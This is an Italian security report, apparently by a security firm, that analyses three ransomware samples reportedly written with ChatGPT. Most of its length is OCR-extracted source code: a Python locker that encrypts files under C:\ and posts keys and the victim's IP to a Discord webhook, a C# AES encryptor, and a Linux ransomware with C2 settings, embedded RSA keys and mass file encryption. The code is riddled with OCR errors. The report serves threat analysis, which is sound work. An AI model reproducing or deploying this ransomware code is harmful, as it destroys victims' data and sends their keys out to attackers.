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Elementi importanti dell’analisi:

o  Utilizzo dell’Al per lo sviluppo di ransomware threats

e Sviluppo in Python per multiplatform malware

e Attenzione da parte dell’Al di ottimizzazione di esecuzione del processo di cifratura
e Scarsa attenzione in termini di packing e obfuscation

e Molteplici algoritmi di cifratura coinvolti

e Attenzione per i processi di data exfiltration e command and control (C&C)
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Introduzione

Con l'avvento delle nuove tecnologie basate sull’intelligenza artificiale ed assistenti virtuali, alcuni
tasks sono stati automatizzati e resi piu veloci. Tuttavia, fin dalla nascita del concetto di Al e virtual
assistant, & sorto anche il rischio che l'intelligenza artificiale potesse rispondere anche a quesiti
pericolosi, dannosi ed anti-etici. Un esempio potrebbe essere la richiesta di informazioni inerenti alla
fabbricazione di una bomba con materiali di recupero ed insospettabili, ma anche ottenere risposte
che minino la sicurezza di intere infrastrutture informatiche. Tra quest’ultime vi sono richieste poste
all’Al che fanno riferimento allo sviluppo di exploits e malware, in particolare ransomware threats.

Effettivamente tale rischio & divenuto realta a fine Dicembre 2023 quando, in Cina, un gruppo di
persone ha sviluppato un ransomware la cui struttura & basata su richieste effettuate a ChatGPT. Tale
attivita ha comportato 4 arresti. [0]

Nella presente analisi verranno analizzati tre samples di ransomware sviluppati con ChatGPT con
diversi approcci.

Analisi first sample [1]

Il seguente ransomware e stato sviluppato in Python, ottiene il nome utente della macchina
ed effettua un ciclo foreach e, nel caso in cui l'estensione individuata del file preso in
considerazione sia .txt o .doc, viene stampato un dettaglio del path.

La chiave di crittografia AES possiede una size di 16 bytes randomici e viene eseguita
un‘operazione di cifratura dell’'array di bytes dei files presi in input denominato “data”.
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1 import os
2 import random
3 import getpass
4 import requests
5 import threading
6 from Crypto.Cipher import AES
7 from Crypto.Util.Padding import pad
3
9 # Get the username of the current user
18 username = getpass.getuser()
11
12 # Define a function to scan for files in a directory
13 v def scan_files(path):
14 for root, dirs, files in os.walk(path):
15 for file in files:
16 if file.endswith('.txt") or file.endswith('.doc'):
17 print(os.path.join(root, file))
¢ 18 with open(os.path.join(root, file), "rb™) as f:
19 data = f.read()
20 key = os.urandom(16)
21 cipher = AES.new(key, AES.MODE_CBC)
22 encrypted_data = cipher.encrypt(pad(data, AES.block_size))
23 with open(os.path.join(root, file), "wb") as f:
24 f.urite(encrypted_data)
25 key_str = str(key, ‘utf-8')
26 data = {"content”: f"Encrypted file: {os.path.join(root, file)}, key: {key str}"}
27 response = requests.post{webhook_url, json=data)
28

[l malware ottiene l'indirizzo IP della macchina compromessa ed invia i dati ottenuti ad un
Discord server personalizzabile.

Vi e anche un'attenzione per un’esecuzione multithreading e, al termine dell'infezione, viene
effettuata I'eliminazione dello script Python con il fine di non lasciare tracce.
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29 # Get the IP address of the machine

38 ip = requests.get('https://api.ipify.org’).text

31

32 # Send the IP address to the webhook

33 webhook_url = "your discord webhook"

34 data = {"content”: f"IP address: {ip}"}

35 response = requests.post{webhook_url, json=data)

36

37 # Define a list of directories to scan

38 directories = ["C:\\"]

39

48 # Create a list to hold the threads

41 threads = []

42

43 # Loop through the directories and create a thread for each one
a4 for directory in directories:

45 thread = threading.Thread(target=scan_files, args=(directory,))
46 threads.append(thread)

a7 thread.start()

43

49 # Wait for all the threads to complete

5@ for thread in threads:

51 thread.join()

52

53 # Once your code is done running, add this line to delete the script file:
54 os.remove(_ file_ )
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Analisi second sample [2]

Il sequente ransomware threat sviluppato in C# mediante ChatGPT richiede l'inserimento del

filepath(s) da criptare come argomento in input string[] args del metodo Main. Il codice

sorgente prosegue con la definizione delle variabili principali per procedere con la cifratura,

ovvero la password, array di bytes di salt, la chiave ed il vettore IV. Il metodo di cifratura scelto

e AES, vengono letti i bytes del file preso in considerazione per procedere con la loro

sostituzione e la scrittura dei medesimi in nuovo file (in forma criptata).

[F ISV N R

woe s @

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

using System;
using System.IO;
using System.Security.Cryptography;

class AESExample

{
static woid Main(string[] args)
{
if (args.Length != 1)
{
Console.Writeline("Usage: AESExample <file path:");
return;
}

string filePath = args[@]; // File path provided as command line argument

string passphrase = "MySecretPassphrase"; // Passphrase for key derivation

byte[] salt = new byte[16]; // Salt for key derivation (16 bytes)

byte[] key = DeriveKeyFromPassphrase(passphrase, salt, 32); // 256-bit key (32 bytes)
byte[] iv = DeriveKeyFromPassphrase(passphrase, salt, 16); // 128-bit IV (16 bytes)
try

{

byte[] plaintextBytes = File.ReadAllBytes(filePath); // Read file content as bytes

byte[] ciphertext = EncryptBytes(plaintextBytes, key, iv);
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Nel caso specifico viene "appesa” |'estensione .encrypted

29 string encryptedFilePath = filePath + ".encrypted"; // New file path for encrypted content
30 File.WriteAllBytes(encryptedFilePath, ciphertext); // Write encrypted content to new file
31

32 byte[] decryptedBytes = DecryptBytes(ciphertext, key, iv);

33

34 string decryptedFilePath = filePath + ".decrypted”;

35 File.WriteAllBytes(decryptedFilePath, decryptedBytes); // Write encrypted content to new file
36

37

38 Console.Writeline("Encryption successful. Encrypted file created: " + encryptedFilePath);
39 Console.Writeline("Decryption successful. Encrypted file created: " + decryptedFilePath);
40

41 H

a2 catch (Exception ex)

43 {

44 Console.Writeline("Error: " + ex.Message);

a5 i

26 }

a7

43 v static byte[] EncryptBytes(byte[] plaintextBytes, byte[] key, byte[] iv)

49 {

5@ using (Aes aes = Aes.Create())

51 {

52 aes.Key = key;

53 aes. IV = iv;

54

Attraverso un oggetto MemoryStream vengono scritti i bytes in chiaro dall'offset 0, vi & poi un
riferimento al metodo DeriveKeyFromPassphrase per la corretta fase di decrittografia mediante
la password iniziale.
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55 using (MemoryStream ms = new MemoryStream())
56 {
57 using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
53 {
59 cs.Write(plaintextBytes, @, plaintextBytes.length);
60 1
61
62 return ms.ToArray();
63 1
64 i
65 1
66
67 v static byte[] DecryptBytes(byte[] ciphertext, byte[] key, byte[] iv)
63 {
69 using (Aes aes = Aes.Create())
70 {
71 aes.Key = key;
72 aes.IV = iv;
73
74 using (MemoryStream ms = new MemoryStream(ciphertext))
75 {
76 using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Read))
77 {
78 using (MemoryStream plaintextMs = new MemoryStream())
79 {
80 byte[] buffer = new byte[1824];
81 int bytesRead;
82 while ((bytesRead = cs.Read(buffer, 8, buffer.Length)) > @)
CE] {
84 plaintextMs.Write(buffer, 8, bytesRead);
85 ¥
86
87 return plaintextMs.Todrray();
88 T
89 ¥
o8 T
91 ¥
92 T
93
94 v static byte[] DeriveKeyFromPassphrase(string passphrase, byte[] salt, int keySizeInBytes)
95 {
9% using (Rfc2B898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(passphrase, salt, 18008))
97 {
98 return pbkdf2.GetBytes(keySizeInBytes);
99 ¥
100 T
101 1
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Analisi third sample [3]:

Il terzo sample di Ransomware threat sviluppato mediante Al & stato scritto in Python. Fin da
subito possiamo notare un’attenzione particolare alla definizione di variabili globali inerenti a
connessioni C&C, estensioni custom di cifratura, Linux folders target, directories da evitare in
fase di encryption, chiave pubblica e privata RSA.

1 import subprocess

2 from argparse import ArgumentParser

3 from basebd import bb6dencode, bbddecode

4 from os import environ, path, rename, walk

5 from sys import argv

[ from time import time, sleep

7

8 from Crypto.Cipher import AES, ChaCha2@, Salsa2@, PKCS1_OAEP

9 from Crypto.PublicKey import RSA

18 from Crypto.Util import Counter

1 from requests import put

12

13 from globals import get_reset_path, get_terminate_path, get_config_from_file
14

15

16 GLOBALS

17 S=======s==s==sssssssssssssss=ssssssssssss=sss==sssssssssss===
18

19 C2_IP = "<C2-Server-IP>"

20 C2_PORT = "<C2-Port>"

21 C2 _RW _ROUTE = “/rw/done"

22

23 LINUX_STARTDIRS = [environ['HOME'] + '/test_ransomware']

24 EXTENSION = ".wasted” # Ransomware custom extension

25 ROAR_DIR = "/roar”

26 RATE_FILE = "rate.roar"

27

28 # following 1list of important Linux system directories: https://tldp.org/LDP/abs/html/systemdirs.html
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29 SAFE_DIRS = ["/boot", "/bin", "/usr/bin", "/usr/local/bin", "/sbin", "/usr/sbin", "/lib", "/usr/1ib", "/usr/local/lib",
30 “/snap”, “/sys", ROAR_DIR]

31

32

33 KEYS

34

35

36 # set to either: "128/192/256 bit plaintext key' or False

37 HARDCODED_KEY = b'+KbPeShVmYq3t6w9z$C&F )HEMcQFTiWn' # 32-bytes AES 256-key used to encrypt files
38 v SERVER_PUBLIC_RSA_KEY = ""'"----- BEGIN PUBLIC KEY-----

39 MIIBIjANBgkghkiGIwOBAQEFAAQCAQBAMIIBCgKCAQEAKIMKLXGKE]fMis4ifjlB

48 XSGMFCHIRtSA/ sQxs4I5TWvMxYSD1rZc+f3c67D16MBaajHxZTidXm+KEGK2LGXT

41 qPYmZW+TQjtrxdtG7ZHda65+EdyVIkwp7hD2fpYIhhn99Cu@I3A+EiNd t7+EtOdP

42 GhYcIZmJ7iT5aRCkXiKXrw+iIL6DTOoiXNX707CYIDBCykTF5/8EelhjAEVIMdre

43 q/CydAWrsAIPhtEmObuGcn2FYFfuGmBrUQF1BEA/4/uqCoP2EmCuabxIE1E2MZkz

44 VWYV B5DbQFK/ JcpeqBQkKiJAZ+ TWGnI IZqBZDaVemaD13CKdrvY222bp/F20LZg

45 HwIDAQAB

46 ----- END PUBLIC KEY-----""" # Attacker's embedded public RSA key used to encrypt AES key
47 ~  SERVER_PRIVATE RSA KEY = """ -BEGIN RSA PRIVATE KEY-----

48 MITEowIBAAKCAQEAKIMKLXGKEjfMis4ifj1BxSGMFCI1RtSA/sQxsA4ISINVMXYSD

49 1rZc+f3c67D]6MBaajHxZTidXm+KEGK2LGXTgPYmZW+TQj trx4tG7ZHda65+EdyV

5@ Jkwp7hD2fpYJIhhn99Cu@] 3A+EiNdt7+EL0dPGhYcIZmI7iT5aRCkXiKXriu+iILED

51 TOoiXNX707CYIDECykTf5/8EelhjAEV3M4Areq/CydAWrsATPhtEMObUBCN2FYFfu

52 GmBrUQf1BE®/4/uqCoP2EmCuabx]E1E2MZkzvvYVcB5DbQFK /Jcpeq@QkKildZ+T

53 WGnjIZqBZDaVcmaD13CKdrvY222bp/F20L7gHWIDAQABAOIBAFLEBBIaSi+HGVaT

54 mKx803bjLz8invzNKIttyII2nysItcorlQhlIQZ+DhjeZmcVAMGKF2hgbZ FESIh

55 mL3pZRjVBgguX@GBKBayPY4VBF51tIVTIMMRI1GVIEMZ FA49pldhic@MultwZRmKg

56 AVplly8TBI LI Ey@ep5yPBPFSrZFphQdiZxTrnmhR/ IpA8XXGnQtRUNGSsNattc /

57 2U¥mLjSYTPasSV7PeXtGGaw34dfiKK1hdanXzj11ARCVEEDRG617y8eK3aGDpUSG

La funzione discover files effettua un ciclo foreach al fine di disporre un gathering di files da
criptare, evitando pero alcune estensioni per non comportare malfunzionamenti del sistema
operativo della macchina compromessa, per esempio .exe e .dll (che fanno riferimento anche
a files di sistema).
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58 Sbm/MakZ7xXVtrPullhcZPgPrPG2VHI /DTc1IzEXGE5pAwC+WhCZv3xFRTYTz9¢ca
59 qjdsYKkCgYEA+eBkkFb7K /t31FESAGWNBdmXepdgVOiBbKBxwX14XbjTQn1BGCsQ
60 @FmgaFUhL3SmDYvNulNnF1kFeX0lghMR4v1DOSttcrqEU@oztLDdY1PKxHBuspZoy
61 RvK+IPZVMEBYRQKPWIVISKWkgqO+YdSQONWMKATALf3zCalRi/ louwMCgYEAle+r
62 QDIWribe/mdim/ec/irpCRBn/2XTK1]18kqoglvmovIhhxH1Twu7bb/S168afYY8vE
63 TUJgKgngGYmo/RVreMs+I7oN870gkKBRRCOBC/EpiDSvdq8EfHgz AP3Ipfk29brc
64 QOxEkClaXssRG/NBbK2ailgztMAHabFSockWSDbUCEYACMQbnigidgSyDuV3qiEZH
65 3K7Mc /udblK sReGCdNXkxCcMBAymudlzpRNNmMgSHeBCsApPpQR11 /akIzoLHN+tv
66 miodMAcTII/9XafLwRCZPkDoPM8gc8@xM20I /BVPDc4BWXt10kiulMI1938jQ/eYL
67 I3y2n31QK2CaP0Ww2yRPxQKBgHcpshs IM+1fVDGxDSgUFYvTor33chADZ19T+ykN
68 WWhBp5+fbMRWAOINT23b1Zh143790hpNIIyEsKO3Pv1VpsKsFUczXt2vyyOncfn
63 fTP4iR+dcCRIINej2DVzFmdQsWh /DUuoNdKZIm5sSb7DNy JQnz94SM/ rouxTZ+72U
78 MQz5A0GBAK /RIFx7UBmHcC+9ehB15aPzvUBDqiVYg2wAYGu/n81s36Vdt TQufSed
71 14rooxbzalk8fEZ/nk586evhoPqithSuniBoqvQl1APZTXdOm8KPchNUBVC+iSzw
72 +IbSWacaVizrtfY/UcRkUrgQotk8adkPZrijPogn@6@VnXPEeg3t
73 ----- END RSA PRIVATE KEY----- """ # SHOULD NOT BE INCLUDED - only for decryptor purposes
74
75
76 v def discover_files(start_path):
77
78 Walk the path recursively down from start_path, and perform method on matching files
79 :param start_path: a directory {preferably absolute) from which to start recursive discovery.
30 :yield: a generator of filenames matching the conditions.
81
82 Notes:
83 - no error checking is dene. It is assumed the current user has rwx on
84 every file and directory from the start_path down.
85 - state is not kept. If this function raises an exception at any peoint,
86 there is no way of knowing where to continue from.
87
88
89 # This is a file extension list of all files that may want to be encrypted.
90 # They are grouped by category. If a category is not wanted, Comment that line.
91 # All files uncommented by default should be harmless to the system
92 # that is: Encrypting all files of all the below types should leave a system in a bootable state,
93 # BUT applications which depend on such resources may become broken.
94 # This will not cover all files, but it should be a decent range.
95 extensions = [
96 # 'exe,', 'dll", 'so’, ‘rpm’, ‘deb’, ‘vmlinuz', ‘img’, # SYSTEM FILES - BEWARE! MAY DESTROY SYSTEM!
97 "jpg', 'jpeg', 'bmp’, 'gif', 'png', 'swvg', 'psd', ‘raw’, # images
98 ‘mp3', 'mpd’, 'mda’, ‘aac', ‘ogg', 'flac', 'wav', 'wma', 'aiff', 'ape', # music and sound
99 tavi', 'flv', 'mdv’, ‘mkv', ‘mov', ‘mpg’', 'mpeg’, ‘wmv', 'swf', "3gp', # Video and movies
1868
181 ‘doc’, ‘'docx’, ‘xls’, ‘'xlsx’, ‘ppt’, ‘pptx’', # Microsoft Office
182 ‘odt', 'odp’, ‘ods’, ‘txt', ‘rtf’', ‘tex’, 'pdf’, ‘epub’, 'md’, # OpenOffice, Adobe, Latex, Markdown, etc
1a3 ‘yml', ‘wyaml®, ‘json’, ‘xml’, ‘csv', # structured data
1a4 "db*, "sqgl’, 'dbf’', 'mdb’, 'iso’, # databases and disc images
185
1a6 *html', *htm*, ‘xhtml®, ‘php’, ‘asp’, ‘aspx’, 'js', 'jsp', 'css’, # web technologies
1a7 ‘¢, ‘cpp’, "oxx', 'h', ‘hpp', 'hxx', # C scurce code
1a3 "java', ‘class’, 'jar', # java source code
1a9 ‘ps’, 'bat’, 'vb', # windows based scripts
118 ‘awk', 'sh', 'cgi', 'pl°, "ada', 'swift’, # linux/mac based scripts

Viene tenuta traccia delle esecuzioni di cifratura, modifica di files, dimensioni e tempi di
esecuzione.
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111 ‘go’, ‘py', ‘pyc’, 'bf’', ‘coffee’', # other source code files

112

113 ‘zip', 'tar’, 'tgz', 'bz2', '7z', 'rar', 'bak', # compressed formats

114

115 EXTENSION.split(".")[1], # ransomware extension, drop dot from global constant

116 1

117

118 for dir_path, dirs, files in walk(start_path):

119 for 1 in files:

120 absolute_path = path.abspath(path.join(dir_path, 1))

121 if not any(absolute_path.startswith(safe_dir + "/") for safe_dir in SAFE_DIRS):

122 ext = absolute_path.split(’.")[-1]

123 if ext in extensions and not path.islink{absclute_path):

124 yield absolute_path

125

126

127 ~ def write_burst_metrics_to_file(total_files, burst_files, total_size, burst_size, total_duration, config_duration,
128 burst_duration, pause, config rate, current_rate, algorithm):

129 print("reporting”, total_files, burst_files, total size, burst_size, total duration, burst_duration, current_rate)
130 file_path = path.join(path.abspath(path.curdir), "metrics.txt™)

131 if not path.exists(file_path):

132 with open(file_path, "x") as file:

133 file.write("total_files,burst_files,total_size,burst_size,total_duration,burst_config duration,"”
134 + "burst_current_duration,burst_pause,burst_config_rate,burst_current_rate,algorithm\n")
135 with open(file_path, "a") as file

136 file.write(",".join(

137 [str{total_files), str(burst_files), str(total_size), str(burst_size), str(total_duration),

138 str(config_duration), str(burst_duration), str{pause), str{config_rate), str(current_rate),

La funzione encrypt._file_inplace permette di specificare blocchi da criptare con size pari a 16,
ottiene la configurazione del processo di cifratura get_config_from_file() con lo scopo di avere
evidenza degli attributi di encryption.

139 str(algorithm)]) + "\n")

148

141

142 ~ def encrypt_file_inplace(file_name, crypto, total_files, burst_files, total_size, burst_size, total_start, burst_start,
143 metric_time, block_size=16):

144

145 Open “filename® and encrypt according to “crypto”.

146

147 :param file_name: a filename (preferably absolute path).

148 :param crypto: a stream cipher function that takes in a plaintext, and returns a ciphertext of identical length.
149 :param total_files: the total number of previcusly fully encrypted files (used solely in metrics reporting).

150 :param burst_files: the number of files fully encrypted in current burst at time of calling this methed

151 (used solely in metrics reporting).

152 :param total_size: the total size of previously fully encrypted files (used solely in metrics reporting).

153 :param burst_size: the total size of files fully encrypted during the current burst at time of calling this method
154 (used solely in metrics reporting).

155 :param total_start: the timestamp of when the ransomware encryption had started.

156 :param burst_start: the timestamp of when the current burst at time of calling this method had started.

157 :param block_size: length of blocks to read and write.

158 :param metric_time: timestamp when metrics were last written to report when limiting files per burst.

159

168 :return: burst_files, burst_size, and burst_start for current burst at time of return.

161

162 config = get_config_from_file()

163 old_cfg_duration = config["BURST"]["duration”]

164

165 with open(file name, 'r+b') as f:
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Nel momento in cui viene caricata la configurazione di encryption questa operazione viene
eseguita in un blocco try-catch al fine di non incorrere in errori vincolanti in caso di
problematiche.

166 plaintext = f.read(block_size) # read number of bytes

167

168 while plaintext:

169 # ==s==ss=s=s=s===ss=sssss==s====

17@ # RESET CORPUS WHEN EPISODE IS TERMINATED

171 # ==============s=====s====s=======

172

173 # print(“encrypting file”, plaintext)

174 if path.exists(get_reset_path()) or path.exists(get_terminate_path()):
175 subprocess.call('echo "@" > ./{}'.format(RATE_FILE), shell=True)
176 break

177

178 $ ==========m=ms=m=mmme=mmmmmmmas

179 # GET LATEST CONFIG

18@ # ======s=======================

181

182 # FIXME: solve race condition by properly implementing file lock;

183 # Currently, concurrent read and write operations sometimes lead to key errors
184 # Solved as of now by just re-reading the file

185 max_retries = 3

186 for i in range(max_retries): # retry concurrent read at most 3 time
187 success = False

1838 try:

189 config = get_config from_file()

198 cfg_rate = float(config["GENERAL"]["rate"]) # bytes per second
191 cfg_pause = int(config[ "BURST"]["pause™]) # seconds

192 new_cfg_duration = config["BURST"]["duration”]

193 cfg_duration = int(config["BURST"]["duration”][1:]) # format examples "s5" or "f3@"
194 limit_files = config["BURST"]["duration”].startswith("f")

Successivamente vengono definiti i bytes in chiaro da criptare e vengono proposte due
alternative di cifratura: una senza attributi di configurazione e I'altra contenente i medesimi (o
“burst” in grado di fatto di velocizzare ed ottimizzare in termini di prestazioni l'intero processo).

www.swascan.com | info@swascan.com




Swascan

TINEXTA Gl P

195 success = True

196 except Exception as e:

197 print(“ERROR GETTING COMFIG, RETRYING", i+1l, "; ERROR", e)
198 if i »= max_retries:

199 raise e

200 if success:

201 break

202

203 if old_cfg_duration != new_cfg_duration:

204 old_cfg_duration = new_cfg_duration

285 timer = 1 # seconds

206 # print("resetting burst for new duration config, sleeping for", timer)
207 sleep(timer)

208 # reset burst to avoid dramatic sleep periods for rate limitation
29 burst_files = @

218 burst_size = @

211 burst_start = time()

212

213 # ==

214 # ENCRYPT

215 # ==

216

217 plain_size = len(plaintext)

218

219 ciphertext = crypto(plaintext)

220

221 f.seek(-plain_size, 1) # return to same point before the read

222 f.write({ciphertext)

223

224 # =

225 # EMFORCE ENCRYPTION RATE

226 # =

227

228 total_size += plain_size # for metric reporting

229 burst_size += plain_size

230 burst_duration = time() - burst_start # time in seconds

231 if cfg_rate » @ and cfg_rate * burst_duration < burst_size: # encryption rate is limited
232 #ifr*d< s thenr * (d+n) =5, thusn=1s/r - d

233 subprocess.call( echo “{}" » ./{}'.format((burst_size / burst_duration), RATE_FILE), shell=True)
234 even_out = (burst_size / cfg_rate) - burst_duration

235 # print(“sleeping for {} to limit rate - r {} d {} s {}".format(

236 # "%.5f" % even_out, cfg_rate, "%.5f" % burst_duration, burst_size))

237 sleep(even_out)

238 elif cfg_rate ==

239 subprocess.call('echo "{}" > ./{}'.format((burst_size / burst_duration), RATE_FILE), shell=True)
240

241

242

243

244

245 if cfg_duration » @: # bursts configured and duration is limited

246 if not limit_files: # limit seconds instead of files

247 burst_duration = time() - burst_start

248 # print(“bursting for", "%.3f" % burst_duration, “seconds")

www.swascan.com | info@swascan.com




Swascan

TINEXTA GROUP

249 if burst_duration >= cfg_duration:

258 stamp = time()

251 burst_duration = stamp - burst_start

252 write burst_metrics_to_file(total files, burst_files, total_size, burst_size,

253 "%.3f" % (stamp - total_start), cfg_duratien,

254 "%.3f" % burst_duration, cfg_pause, cfg_rate,

255 "%.3f" % (burst_size / burst_duration), config["GENERAL"]["algo"])
256

257 # print(“burst pause (rate) sleeping for", cfg_pause)

258 sleep(cfg_pause)

259

260 burst_files = @

261 burst_size = @

262 burst_start = time()

263 else: # encrypt without bursts

264 since_last_metric = time() - metric_time

265 if since_last_metric >= 18

266 total_duration = time() - total_start

267 write burst_metrics_to_file(total files, total files, total_size, total_sirze,

268 "%.3f" % total_duration, cfg_duration, "%.3f" % since_last_metric,
269 cfg_pause, cfg_rate, "%.3f" % (total_size / total_duration),
270 config["GENERAL"]["2lgo"]1)

271 metric_time = time()

272

273 #

274 # ITERATE FILE CONTENT

275 #

276

Viene effettuato un controllo in merito alla size del contenuto del file decriptato rispetto alla
forma criptata al fine di verificare se sia stata raggiunta o meno I'EOF (End Of File, ovvero la
sezione finale del file letto).

277 if len(ciphertext) < len(plaintext):

278 # since the decrypted text is smaller than the encrypted, the block_size was not reached.
279 # this means that we have reached the EOF of the criginal file
280 f.truncate()

281

282 plaintext = f.read(block_size)

283

284 # print(“done encrypting file™)

285 return total_size, burst_files, burst_size, burst_start, metric_time

286

287

288 v def decrypt_file_inplace(file_name, crypto, block_size=16):

289

290 Open ~filename™ and decrypt according to “crypto”

291 :param file name: a filename (preferably absolute path)

292 :param crypto: a stream cipher function that takes in a plaintext,

293 and returns a ciphertext of identical length

294 :param block_size: length of blocks to read and write.

295 :return: None

296

297 with open(file_name, 'r+b') as f:

298 plaintext = f.read(block size) # read number of bytes

299

30e while plaintext:

3e1 ciphertext = crypto(plaintext)

3a2

3a3 f.seek(-len{plaintext), 1) # return to same point before the read
304 f.write(ciphertext)

3@5
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Vi e anche la funzione select_encryption_algorithm, la quale possiede come arieta 1, ovvero la
chiave di cifratura. Gli algoritmi di cifratura possibili sono AES, Salsa20 e ChaChaZ20.

386 if len(ciphertext) < len(plaintext):

307 # since the decrypted text is smaller than the encrypted, the block_size was not reached.
308 # this means that we have reached the EOF of the original file

309 f.truncate()

3le

311 plaintext = f.read(block_size)

312

313

314 v def select_encryption_algorithm(key):

315 config = get_config_from_file()

316 algo = config["GENERAL"]["algo"]

317 if algo == "AES-CTR":

318 assert len(key) in [16, 24, 32]

319 ctr = Counter.new(128)

320 return AES.new(key=key, mode=AES.MODE_CTR, counter=ctr), ".1", Hone

321 elif algo == "Salsa2@":

322 assert len(key) == 32

323 cipher = Salsa2d.new(key=key)

324 return cipher, ".2", bbdencode(cipher.nonce).decode("utf-8").replace("/", "-#-") # avoid "/" in filenames
325 elif alge == "ChaCha2@":

326 assert len(key) == 32

327 cipher = ChaCha2@.new(key=key)

328 return cipher, ".3", bB4encode(cipher.nonce).decode("utf-8").replace("/", "-#-") # aveid "/" in filenames
329 else:

330 assert len(key) in [16, 24, 32]

331 print("unknown encryption algorithm config used. Falling back to default AES-CTR encryption™)
332 ctr = Counter.new(128)

La funzione omologa per la decifratura permette di prendere in input il nome del file in
questione, la chiave e procedere con la decodifica Base64 dell'item nonce (attributo necessario
per I'oggetto cipher) nel caso di ChaCha20 e SalsaZ20.
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333 return AES.new(key, AES.MODE_CTR, counter=ctr), ".1", None
334
335

336 v def select_decryption_algorithm({filename, key):

337 split = path.basename(filename).split(”.")[-2].split("-

338 flag = split[0]

339 extra = "--".join(split[1:]) if len(split) > 1 else HNone

340 if flag == "1":

341 assert len(key) in [16, 24, 32]

342 ctr = Counter.new(128)

343 return AES.new(key=key, mode=AES.MODE_CTR, counter=ctr), "1"

344 elif flag == "2":

345 assert len(key) == 32

346 return Salsa2@.new(key=key, nonce=bfddecode(extra.replace(”-#-", "/"))), "2"
347 elif flag == "3":

348 assert len(key) == 32

349 return ChaCha2@.new(key=key, nonce=b64ddecode{extra.replace("-#-", "/"))), "3"
3508 else:

351 assert len(key) in [16, 24, 32]

352 print("unknown encryption algorithm config was used. Falling back to default AES-CTR decryption™)
353 ctr = Counter.new(128)

354 return AES.new(key, AES.MODE_CTR, counter=ctr), "1"

355

356

357 v def encrypt_files(key, start_dirs):

358 t_files = @ # total number of files fully encrypted

359 b_files = 8 # number of files fully encrypted during current burst

La funzione encrypt_files mette a disposizione la possibilita di cifrare piu files effettuando un
gathering di quest'ultimi in modo ricorsivo.

360 t_size = @ # total size of files fully encrypted

361 b_size = @ # size of files fully encrypted during current burst
362 t_start = time() # timestamp when ransomware encryption started
363 b_start = t_start # timestamp when current burst started

364 metric_time = t_start # timestamp when metrics were written to report
365 all_reported = True # initially True for no files to report

366

367 # Recursively go through folders and encrypt files

368 for curr_dir in start_dirs:

369 #

370 # RESET CORPUS WHEN EPISODE IS TERMIMATED

371 # ==

372

373 reset_path = get_reset_path()

374 terminate_path = get_terminate_path()

375 # print(curr_dir)

376 if path.exists(reset_path) or path.exists(terminate_path):
377 break

378

379 for file in discover_files({curr_dir):

380

381

382

383

384 # print(file)

385 if path.exists(reset_path) or path.exists(terminate_path):
386 break
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Vi e un controllo dei files che sono gia stati criptati (in base all'estensione di questi ultimi), in
caso contrario si procede con la cifratura (in entrambe le metodologie, con o senza “bursts”).

387

388

389

3%0 # ==

391

392 if not file.endswith(EXTENSION):

393 all_reported = False # found new file

394

395 config = get_config_from_file()

396 cfg_rate = float(config["GEMERAL"]["rate"]) # bytes per second

397 cfg_pause = int(config["BURST"]["pause"]) # seconds

398 cfg_duration = int(config["BURST"]["duration”][1:]) # format examples: "s5" or "£3@"

399 limit_files = config["BURST"][“duration”].startsuith("f")

400

491 crypt, flag, extra = select_encryption_algorithm(key)

492 try:

493 t_size, b_files, b_size, b_start, metric_time = encrypt file inplace(file, crypt.encrypt, t_files,
404 b_files, t_size, b_size,
405 t_start, b_start, metric_time)
496 except OSError as e:

497 if e.strerror == "Read-only file system":

48 continue

409 else:

41 raise e

411

412 encrypted_name = file + (flag if not extra else flag + "--" + extra) + EXTENSION

413 rename(file, encrypted_name)

414 # print(“File changed from " + file + " to " + encrypted_name) # keep!

415

416 t_files += 1

a17 b_files += 1

418

419 if cfg duration > @: # bursts configured and duration is limited

420 if limit_files:

421 # print(“bursting for”, b_files, "files")

422 if t_files »= cfg_duration:

423 stamp = time()

424 burst_duration = stamp - b_start

425 write burst_metrics to file(t_files, b_files, t_size, b_size, "%.3f" % (stamp - t_start),
426 cfg_duration, "%.3f" % burst_duration, cfg_pause, cfg_rate,
427 "%.3f" % (b_size / burst_duration), config["GENERAL"]["algo"])
428

429 # print("burst pause (file) sleeping for", cfg_pause)

43@ sleep(cfg_pause)

431

432 all_reported = True # when final file and file limit

433 b _files = @

434 b_size = @

435 b_start = time()

438 else: # encrypt without bursts

437 since_last_metric = time() - metric_time

438 if since_last_metric >= 10:

439 t_duration = time() - t_start
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449 write_burst_metrics_to file(t_files, t_files, t_size, t_size, "%.3f" % t_duration,

441 cfg_duration, "¥.3f" % since_last_metric, cfg_pause, cfg_rate,
443 "%.3F" % (t_size / t_duration), config["GENERAL"]["algo"])
443 all_reported = True # when final file and 18s mark

444 metric_time = time()

445

446 # report metrics one last time to ensure all metrics are included

447 if not all_reported:

448 config = get_config_from_file()

449 cfg_rate = float(config["GENERAL"]["rate"]) # bytes per second

450 cfg_pause = int(config["BURST"]["pause”]) # seconds

451 cfg_duration = int(config["BURST"]["duration™][1:]) # format examples: "s5" or "f3@"

452

453 if cfg_duration > @: # bursts configured and duration is limited

454 stamp = time()

as5 burst_duration = stamp - b_start

456 write_burst_metrics_to_file(t_files, b_files, t_size, b_size, "%.3f" % (stamp - t_start), cfg_duration,
457 “%.3f" % burst_duration, cfg_pause, cfg_rate,

453 “%.3f" % (b_size / burst_duration), config["GENERAL"]["algo"])

459 else:

460 since_last_metric = time() - metric_time

461 t_duration = time() - t_start

452 write_burst_metrics_to_file(t_files, t_files, t_size, t_size, "%.3f" % t_duration, cfg_duration,

463 "#.3f" % since_last_metric, cfg_pause, cfg_rate, "X.3f" X% (t_size / t_duration),
464 config[ "GENERAL"]["algo"])

465

466

La funzione decrypt._files si occupa di decriptare molteplici files all'interno di una directory root
(per i files contenenti I'estensione in questione).

Un fatto molto importante riguarda la comunicazione C&C del ransomware, la quale
predispone una struttura di text remote sending come debug verso un indirizzo IP
personalizzabile, la chiave AES viene criptata mediante la chiave pubblica del server remoto.

467 ~ def decrypt_files(key, start dirs):

468 # Recursively go through folders and decrypt files

469 for curr_dir in start_dirs:

470 for file in discover_files(curr_dir):

471 if file.endswith(EXTENSION):

472 crypt, flag = select_decryption_algorithm(file, key)

473 decrypt_file_inplace(file, crypt.decrypt)

474

475 abs_dir = path.dirname(file)

476 file original = ".".join(path.basename(file).split(".")[:-2])
477 rename(file, path.join(abs_dir, file original))

478 # print("File changed from " + file + " to " + file_original)
479

480

481 def notify_rw_done():

